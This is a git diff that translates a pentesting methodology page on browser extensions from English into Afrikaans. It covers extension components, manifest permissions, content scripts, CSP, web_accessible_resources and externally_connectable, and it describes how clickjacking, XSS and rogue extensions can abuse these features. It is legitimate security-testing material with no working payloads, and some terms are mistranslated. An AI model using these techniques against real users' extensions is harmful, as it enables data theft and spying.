diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 998ebd4e2..f98b255bf 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,280 +1,260 @@ -# Browser Extension Pentesting Methodology +# Bladsy Uitbreiding Pentesting Metodologie {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA). +Bladsy uitbreidings is in JavaScript geskryf en word deur die blaier in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel. -## Main Components +## Hoofkomponente -Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth. +Uitbreidingsuitleg lyk die beste wanneer dit visueel voorgestel word en bestaan uit drie komponente. Kom ons kyk na elke komponent in diepte.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

-### **Content Scripts** +### **Inhoud Skripte** -Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. However, the content script contains no permissions other than the ability to send messages to the extension core. +Elke inhoud skrip het direkte toegang tot die DOM van 'n **enkele webblad** en is dus blootgestel aan **potensieel kwaadwillige insette**. Die inhoud skrip bevat egter geen toestemmings nie, behalwe die vermoë om boodskappe na die uitbreiding se kern te stuur. -### **Extension Core** +### **Uitbreiding Kern** -The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Also, the extension core does not have direct access to the host machine. +Die uitbreiding se kern bevat die meeste van die uitbreiding se voorregte/toegang, maar die uitbreiding se kern kan slegs met webinhoud interaksie hê via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) en inhoud skripte. Ook, die uitbreiding se kern het nie direkte toegang tot die gasheer masjien nie. -### **Native Binary** +### **Inheemse Binêre** -The extension allows a native binary that can **access the host machine with the user’s full privileges.** The native binary interacts with the extension core through the standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) used by Flash and other browser plug-ins. +Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaier-inproppe gebruik word. -### Boundaries +### Grense > [!CAUTION] -> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary. +> Om die gebruiker se volle voorregte te verkry, moet 'n aanvaller die uitbreiding oortuig om kwaadwillige insette van die inhoud skrip na die uitbreiding se kern en van die uitbreiding se kern na die inheemse binêre oor te dra. -Each component of the extension is separated from each other by **strong protective boundaries**. Each component runs in a **separate operating system process**. Content scripts and extension cores run in **sandbox processes** unavailable to most operating system services. +Elke komponent van die uitbreiding is van mekaar geskei deur **sterk beskermende grense**. Elke komponent loop in 'n **afsonderlike bedryfstelselproses**. Inhoud skripte en uitbreiding kerne loop in **sandbox prosesse** wat nie vir die meeste bedryfstelseldienste beskikbaar is nie. -Moreover, content scripts separate from their associated web pages by **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, but the two **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality. +Boonop skei inhoud skripte van hul geassosieerde webbladsye deur **in 'n afsonderlike JavaScript hoop te loop**. Die inhoud skrip en webblad het **toegang tot dieselfde onderliggende DOM**, maar die twee **ruil nooit JavaScript wysers uit nie**, wat die lek van JavaScript funksionaliteit voorkom. ## **`manifest.json`** -A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options. - -Example: +'n Chrome uitbreiding is net 'n ZIP-gids met 'n [.crx lêer uitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die gids, wat uitleg, toestemmings en ander konfigurasie opsies spesifiseer. +Voorbeeld: ```json { - "manifest_version": 2, - "name": "My extension", - "version": "1.0", - "permissions": ["storage"], - "content_scripts": [ - { - "js": ["script.js"], - "matches": ["https://example.com/*", "https://www.example.com/*"], - "exclude_matches": ["*://*/*business*"] - } - ], - "background": { - "scripts": ["background.js"] - }, - "options_ui": { - "page": "options.html" - } +"manifest_version": 2, +"name": "My extension", +"version": "1.0", +"permissions": ["storage"], +"content_scripts": [ +{ +"js": ["script.js"], +"matches": ["https://example.com/*", "https://www.example.com/*"], +"exclude_matches": ["*://*/*business*"] +} +], +"background": { +"scripts": ["background.js"] +}, +"options_ui": { +"page": "options.html" +} } ``` - ### `content_scripts` -Content scripts are **loaded** whenever the user **navigates to a matching page**, in our case any page matching the **`https://example.com/*`** expression and not matching the **`*://*/*/business*`** regex. They execute **like the page’s own scripts** and have arbitrary access to the page’s [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model). - +Inhoudscripte word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende bladsy navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model). ```json "content_scripts": [ - { - "js": [ - "script.js" - ], - "matches": [ - "https://example.com/*", - "https://www.example.com/*" - ], - "exclude_matches": ["*://*/*business*"], - } - ], +{ +"js": [ +"script.js" +], +"matches": [ +"https://example.com/*", +"https://www.example.com/*" +], +"exclude_matches": ["*://*/*business*"], +} +], ``` +Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik. -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. - -This is an example content script which will add an explain button to the page when [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to retrieve the `message` value from extension’s storage. - +Dit is 'n voorbeeldinhoudskrip wat 'n verduidelikknoppie by die bladsy sal voeg wanneer [die storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message` waarde uit die uitbreiding se stoor te verkry. ```js chrome.storage.local.get("message", (result) => { - let div = document.createElement("div") - div.innerHTML = result.message + " " - div.querySelector("button").addEventListener("click", () => { - chrome.runtime.sendMessage("explain") - }) - document.body.appendChild(div) +let div = document.createElement("div") +div.innerHTML = result.message + " " +div.querySelector("button").addEventListener("click", () => { +chrome.runtime.sendMessage("explain") +}) +document.body.appendChild(div) }) ``` -
-A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with. +'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die inhoudskrip se beperking in direkte toegang tot API's, met `storage` wat onder die min uitsonderings val. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer. > [!WARNING] -> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\ -> It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back. +> Afhangende van die blaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaiers is die vermoënslys beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\ +> Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en antwoorde terug te stuur. -For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I. +Vir die sien en debugg van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap bereik word OF deur Ctrl + Shift + I te druk. -Upon the developer tools being displayed, the **Source tab** is to be clicked, followed by the **Content Scripts** tab. This allows for the observation of running content scripts from various extensions and the setting of breakpoints to track the execution flow. +Sodra die ontwikkelaar gereedskap vertoon word, moet die **Source tab** geklik word, gevolg deur die **Content Scripts** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik. -### Injected content scripts +### Ingevoegde inhoudskripte > [!TIP] -> Note that **Content Scripts aren't mandatory** as it's also possible to **dynamically** **inject** scripts and to **programatically inject them** in web pages via **`tabs.executeScript`**. This actually provides more **granular controls**. +> Let daarop dat **Inhoudskripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties in te voeg** in webbladsye via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**. -For the programmatic injection of a content script, the extension is required to have [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page into which the scripts are to be injected. These permissions may be secured either by **requesting them** within the manifest of the extension or on a temporary basis through [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). - -#### Example activeTab-based extension +Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere toestemming](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding ```json:manifest.json { - "name": "My extension", - ... - "permissions": [ - "activeTab", - "scripting" - ], - "background": { - "service_worker": "background.js" - }, - "action": { - "default_title": "Action Button" - } +"name": "My extension", +... +"permissions": [ +"activeTab", +"scripting" +], +"background": { +"service_worker": "background.js" +}, +"action": { +"default_title": "Action Button" +} } ``` - -- **Inject a JS file on click:** - +- **Voeg 'n JS-lêer in op klik:** ```javascript // content-script.js document.body.style.backgroundColor = "orange" //service-worker.js - Inject the JS file chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - files: ["content-script.js"], - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +files: ["content-script.js"], +}) }) ``` - -- **Inject a function** on click: - +- **Voeg 'n funksie in** op klik: ```javascript //service-worker.js - Inject a function function injectedFunction() { - document.body.style.backgroundColor = "orange" +document.body.style.backgroundColor = "orange" } chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - func: injectedFunction, - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +func: injectedFunction, +}) }) ``` - -#### Example with scripting permissions - +#### Voorbeeld met skriptoestemmings ```javascript // service-workser.js chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - excludeMatches: ["*://*/*business*"], - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +excludeMatches: ["*://*/*business*"], +js: ["contentScript.js"], +}, ]) // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }) ``` +Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik. -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. +### Inhoud Skrifte `run_at` -### Content Scripts `run_at` +Die `run_at` veld beheer **wanneer JavaScript-lêers in die webblad ingespuit word**. Die verkieslike en standaard waarde is `"document_idle"`. -The `run_at` field controls **when JavaScript files are injected into the web page**. The preferred and default value is `"document_idle"`. +Die moontlike waardes is: -The possible values are: - -- **`document_idle`**: Whenever possible -- **`document_start`**: After any files from `css`, but before any other DOM is constructed or any other script is run. -- **`document_end`**: Immediately after the DOM is complete, but before subresources like images and frames have loaded. +- **`document_idle`**: Wanneer moontlik +- **`document_start`**: Na enige lêers van `css`, maar voordat enige ander DOM gebou word of enige ander skrip uitgevoer word. +- **`document_end`**: Onmiddellik nadat die DOM voltooi is, maar voordat subhulpbronne soos beelde en rame gelaai is. #### Via `manifest.json` - ```json { - "name": "My extension", - ... - "content_scripts": [ - { - "matches": ["https://*.example.com/*"], - "run_at": "document_idle", - "js": ["contentScript.js"] - } - ], - ... +"name": "My extension", +... +"content_scripts": [ +{ +"matches": ["https://*.example.com/*"], +"run_at": "document_idle", +"js": ["contentScript.js"] +} +], +... } ``` - -Via **`service-worker.js`** - +Deur **`service-worker.js`** ```javascript chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - runAt: "document_idle", - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +runAt: "document_idle", +js: ["contentScript.js"], +}, ]) ``` - ### `background` -Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management. +Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur voortduur, wat diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak. -**Key Points**: +**Belangrike Punten**: -- **Background Page Role:** Acts as the nerve center for the extension, ensuring communication and coordination among various parts of the extension. -- **Persistence:** It's an ever-present entity, invisible to the user but integral to the extension's functionality. -- **Automatic Generation:** If not explicitly defined, the browser will automatically create a background page. This auto-generated page will include all the background scripts specified in the extension's manifest, ensuring the seamless operation of the extension's background tasks. +- **Agtergrondbladsy Rol:** Dien as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinering tussen verskillende dele van die uitbreiding verseker. +- **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit. +- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker. > [!TIP] -> The convenience provided by the browser in automatically generating a background page (when not explicitly declared) ensures that all necessary background scripts are integrated and operational, streamlining the extension's setup process. - -Example background script: +> Die gerief wat deur die blaaier verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn. +Voorbeeld agtergrondskrip: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { - if (request == "explain") { - chrome.tabs.create({ url: "https://example.net/explanation" }) - } +if (request == "explain") { +chrome.tabs.create({ url: "https://example.net/explanation" }) +} }) ``` +Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om na boodskappe te luister. Wanneer 'n `"explain"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe tab te open. -It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab. - -To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script: +Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap met die agtergrondskrip oopmaak:
-### Options pages and other +### Opsie bladsye en ander -Browser extensions can contain various kinds of pages: +Blaaier uitbreidings kan verskillende soorte bladsye bevat: -- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked. -- Pages that the extension will **load in a new tab**. -- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: +- **Aksie bladsye** word vertoon in 'n **afrollys wanneer die uitbreiding ikoon** geklik word. +- Bladsye wat die uitbreiding sal **laai in 'n nuwe tab**. +- **Opsie Bladsye**: Hierdie bladsy vertoon bo-op die uitbreiding wanneer dit geklik word. In die vorige manifest was ek in staat om toegang tot hierdie bladsy te verkry in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
-Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: +Let daarop dat hierdie bladsye nie volhoubaar is soos agtergrond bladsye nie, aangesien hulle dinamies inhoud laai op noodsaaklikheid. Ten spyte hiervan, deel hulle sekere vermoëns met die agtergrond bladsy: -- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension. -- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension. +- **Kommunikasie met Inhoud Skripte:** Soos die agtergrond bladsy, kan hierdie bladsye boodskappe van inhoud skripte ontvang, wat interaksie binne die uitbreiding fasiliteer. +- **Toegang tot Uitbreiding-Spesifieke API's:** Hierdie bladsye geniet omvattende toegang tot uitbreiding-spesifieke API's, onderhewig aan die toestemmings wat vir die uitbreiding gedefinieer is. ### `permissions` & `host_permissions` -**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. +**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (stoor, ligging...) en in **watter web bladsye**. -As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. +Aangesien blaaier uitbreidings so **bevoorreg** kan wees, kan 'n kwaadwillige een of een wat gecompromitteer is die aanvaller **verskillende middele bied om sensitiewe inligting te steel en die gebruiker te spioeneer**. -Check how these settings work and how they could get abused in: +Kyk hoe hierdie instellings werk en hoe hulle misbruik kan word in: {{#ref}} browext-permissions-and-host_permissions.md @@ -282,15 +262,13 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**. - -The default setting for browser extension pages is rather restrictive: +'n **inhoud sekuriteitsbeleid** kan ook binne die `manifest.json` verklaar word. As daar een gedefinieer is, kan dit **kwetsbaar** wees. +Die standaardinstelling vir blaaier uitbreiding bladsye is eerder beperkend: ```bash script-src 'self'; object-src 'self'; ``` - -For more info about CSP and potential bypasses check: +Vir meer inligting oor CSP en potensiële omseilings, kyk: {{#ref}} ../content-security-policy-csp-bypass/ @@ -298,203 +276,189 @@ For more info about CSP and potential bypasses check: ### `web_accessible_resources` -in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\ -For example: - +Om 'n webblad toegang te gee tot 'n bladsy van 'n Bladsy-uitbreiding, moet 'n `.html` bladsy byvoorbeeld, hierdie bladsy genoem word in die **`web_accessible_resources`** veld van die `manifest.json`.\ +Byvoorbeeld: ```javascript { - ... - "web_accessible_resources": [ - { - "resources": [ "images/*.png" ], - "matches": [ "https://example.com/*" ] - }, - { - "resources": [ "fonts/*.woff" ], - "matches": [ "https://example.com/*" ] - } - ], - ... +... +"web_accessible_resources": [ +{ +"resources": [ "images/*.png" ], +"matches": [ "https://example.com/*" ] +}, +{ +"resources": [ "fonts/*.woff" ], +"matches": [ "https://example.com/*" ] +} +], +... } ``` - -These pages are accesible in URL like: - +Hierdie bladsye is toeganklik in URL soos: ``` chrome-extension:///message.html ``` - -In public extensions the **extension-id is accesible**: +In openbare uitbreidings is die **extension-id toeganklik**:
-Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**. +Alhoewel, as die `manifest.json` parameter **`use_dynamic_url`** gebruik word, kan hierdie **id dinamies wees**. > [!TIP] -> Note that even if a page is mentioned here, it might be **protected against ClickJacking** thanks to the **Content Security Policy**. So you also need to check it (frame-ancestors section) before confirming a ClickJacking attack is possible. +> Let daarop dat selfs al word 'n bladsy hier genoem, dit mag **teen ClickJacking beskerm wees** danksy die **Content Security Policy**. So jy moet dit ook nagaan (frame-ancestors afdeling) voordat jy bevestig dat 'n ClickJacking-aanval moontlik is. -Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**: +Toegelaat om toegang tot hierdie bladsye te hê, maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**: {{#ref}} browext-clickjacking.md {{#endref}} > [!TIP] -> Allowing these pages to be loaded only by the extension and not by random URLs could prevent ClickJacking attacks. +> Om te verhoed dat hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom. > [!CAUTION] -> Note that the pages from **`web_accessible_resources`** and other pages of the extension are also capable of **contacting background scripts**. So if one of these pages is vulnerable to **XSS** it could open a bigger vulnerability. +> Let daarop dat die bladsye van **`web_accessible_resources`** en ander bladsye van die uitbreiding ook in staat is om **agtergrondskripte te kontak**. So as een van hierdie bladsye kwesbaar is vir **XSS**, kan dit 'n groter kwesbaarheid oopmaak. > -> Moreover, note that you can only open pages indicated in **`web_accessible_resources`** inside iframes, but from a new tab it's possible to access any page in the extension knowing the extension ID. Therefore, if an XSS is found abusing same parameters, it could be abused even if the page isn't configured in **`web_accessible_resources`**. +> Boonop, let daarop dat jy slegs bladsye wat in **`web_accessible_resources`** aangedui is, binne iframes kan oopmaak, maar van 'n nuwe oortjie is dit moontlik om enige bladsy in die uitbreiding te benader as jy die uitbreiding ID ken. Daarom, as 'n XSS gevind word wat dieselfde parameters misbruik, kan dit misbruik word selfs al is die bladsy nie in **`web_accessible_resources`** geconfigureer nie. ### `externally_connectable` -A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - -- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**. -- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect. -- If **matches** are specified, those web apps will be able to connect: +Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest eienskap **watter uitbreidings en web bladsye kan verbind** met jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). +- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, kan **alle uitbreidings verbind, maar geen web bladsye kan verbind**. +- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, kan **slegs daardie toepassings** verbind. +- As **ooreenkomste** gespesifiseer is, sal daardie webtoepassings in staat wees om te verbind: ```json "matches": [ -      "https://*.google.com/*", -      "*://*.chromium.org/*", +"https://*.google.com/*", +"*://*.chromium.org/*", ``` +- As dit as leeg gespesifiseer is: **`"externally_connectable": {}`**, sal geen app of web in staat wees om te verbind nie. -- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect. - -The **less extensions and URLs** indicated here, the **smaller the attack surface** will be. +Die **minder uitbreidings en URL's** wat hier aangedui word, hoe **kleiner die aanvaloppervlak** sal wees. > [!CAUTION] -> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP. +> As 'n webblad **kwulnerabel is vir XSS of oorneem** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil. > -> Therefore, this is a **very powerful bypass**. +> Daarom is dit 'n **baie kragtige omseiling**. > -> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Boonop, as die kliënt 'n rogue-uitbreiding installeer, selfs al is dit nie toegelaat om met die kwulnerabele uitbreiding te kommunikeer nie, kan dit **XSS-data in 'n toegelate webblad** inspuit of **`WebRequest`** of **`DeclarativeNetRequest`** API's misbruik om versoeke op 'n geteikende domein te manipuleer deur 'n bladsy se versoek vir 'n **JavaScript-lêer** te verander. (Let daarop dat CSP op die geteikende bladsy hierdie aanvalle kan voorkom). Hierdie idee kom [**uit hierdie skrywe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). -## Communication summary +## Kommunikasie opsomming -### Extension <--> WebApp +### Uitbreiding <--> WebApp -To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script. +Om te kommunikeer tussen die inhoudskrip en die webblad, word posboodskappe gewoonlik gebruik. Daarom sal jy gewoonlik oproepe na die funksie **`window.postMessage`** in die webtoepassing vind en in die inhoudskrip luisteraars soos **`window.addEventListener`**. Let egter daarop dat die uitbreiding ook kan **kommunikeer met die webtoepassing deur 'n Post Message te stuur** (en daarom moet die web dit verwag) of net die web kan dwing om 'n nuwe skrip te laai. -### Inside the extension +### Binne die uitbreiding -Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**. +Gewoonlik word die funksie **`chrome.runtime.sendMessage`** gebruik om 'n boodskap binne die uitbreiding te stuur (gewoonlik hanteer deur die `background` skrip) en om dit te ontvang en te hanteer, word 'n luisteraar verklaar wat **`chrome.runtime.onMessage.addListener`** aanroep. -It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example: +Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur, dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
-chrome.runtime.connect() example - +chrome.runtime.connect() voorbeeld ```javascript var port = chrome.runtime.connect() // Listen for messages from the web page window.addEventListener( - "message", - (event) => { - // Only accept messages from the same window - if (event.source !== window) { - return - } +"message", +(event) => { +// Only accept messages from the same window +if (event.source !== window) { +return +} - // Check if the message type is "FROM_PAGE" - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage({ type: "FROM_PAGE", text: event.data.text }) - } - }, - false +// Check if the message type is "FROM_PAGE" +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage({ type: "FROM_PAGE", text: event.data.text }) +} +}, +false ) // Listen for messages from the background script port.onMessage.addListener(function (msg) { - console.log("Content script received message from background script:", msg) - // Handle the response message from the background script +console.log("Content script received message from background script:", msg) +// Handle the response message from the background script }) ``` -
